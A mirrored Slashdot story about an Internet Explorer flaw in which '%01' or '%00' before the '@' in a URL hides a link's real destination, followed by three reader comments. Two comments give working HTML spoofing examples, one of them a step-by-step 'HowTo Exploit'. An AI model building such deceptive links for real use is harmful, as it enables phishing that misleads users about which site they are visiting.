Slashdot Mirror

← Back to Stories (view on slashdot.org)

New IE Bug Hides Real Site Address

Posted by michael on from the can't-blame-the-user-for-this-one dept.

Norman at Davis writes "ZDNet is running a story on a new security flaw in Microsoft's Internet Explorer which could let hackers use a technique to display a false Web address on a fake site according to an advisory from the Danish security company Secunia. The Danes report that 'the vulnerability is caused due to an input validation error, which can be exploited by including the "%01" URL encoded representation after the username and right before the "@" character in an URL.' PC World reports that 'Microsoft says it is investigating reports of the vulnerability. When that inquiry is complete, the company will take whatever steps it deems necessary, such as issuing a new patch, a spokesperson says.' And for good measure, here's what Google news is covering on it right now."

3 of 683 comments (clear)

  1. Re:That isn't much better though! by Finuvir · · Score: 5, Interesting

    It would be possible (trivial?) to put a feature in our favourite open source browser to give a security warning when you visit such a URL. Just something that tells you about the possibility that you're at a site different to the one you think you're at. It would just need to ensure that the actual domain is made obvious. eg.

    The site you are visiting may be attempting to masquerade as a different site. The site actualDomain.com appears to be masquerading as apparentDomain.com.

    Visit the real apparentDomain.com (link)

    [ ] Don't show this warning in future. (checkbox)

    You would just need to search for 'www.' or one of the TLDs in the part of the URL before the @ sign.

    --
    Why is anything anything?
  2. Similar IE bug by sopuli · · Score: 5, Interesting
    A little experimentation with this bug yielded another similar bug. The following bit of html:
    <a href="http://www.sco.com%00@www.fsf.org">click me</a>
    when this is displayed in IE, and you hover the mouse over the link, it will display "www.sco.com" in the in the status bar, but when you click it, it will take you to "www.fsf.org". I'll leave it to the reader to replace the latter link with a more offensive one...
  3. HowTo Exploit by Anonymous Coward · · Score: 5, Interesting
    Here is a one-stop guide to exploting this.

    Create a local document:
    <html><body>
    <script language="javascript">
    document.write(unescape('h ttp://www.google.com%01@www.yahoo.com'));
    </scrip t>
    </body></html>
    Note that thanks to Slashdot the code is munged. Remember to remove the extra-Slashdot-added spaces.

    Open this up in Internet Explorer and you'll see the text, with the "%01" character helpfully encoded into the string for you. Copy this string into another document:
    <html><body>
    <a href="http://www.google.com@www.yahoo.com">Google< /a>
    </body></html>
    Note that in this example, the encoded "%01" has been stripped out by Slashdot. Your copy & pasted string will include this character (It may appear as an empty "Box" symbol)

    Save & open the file in Internet Explorer. Surprise!

    But wait! There's more! If the user hovers over the link they'll see a funny looking URL in the status bar. We can fix that, though. Edit your file and add the "%00" to that URL E.g.
    <html><body>
    <a href="http://www.google.com%00@www.yahoo.com">Goog le</a>
    </body></html>
    Again, the encoded "%01" has been stripped by Slashdot. Ensure that you add the "%00" after the encoded "%01" or this won't work. Now save the file again, and re-open it in IE. Now where does that link go?

    Feeling lucky, punk?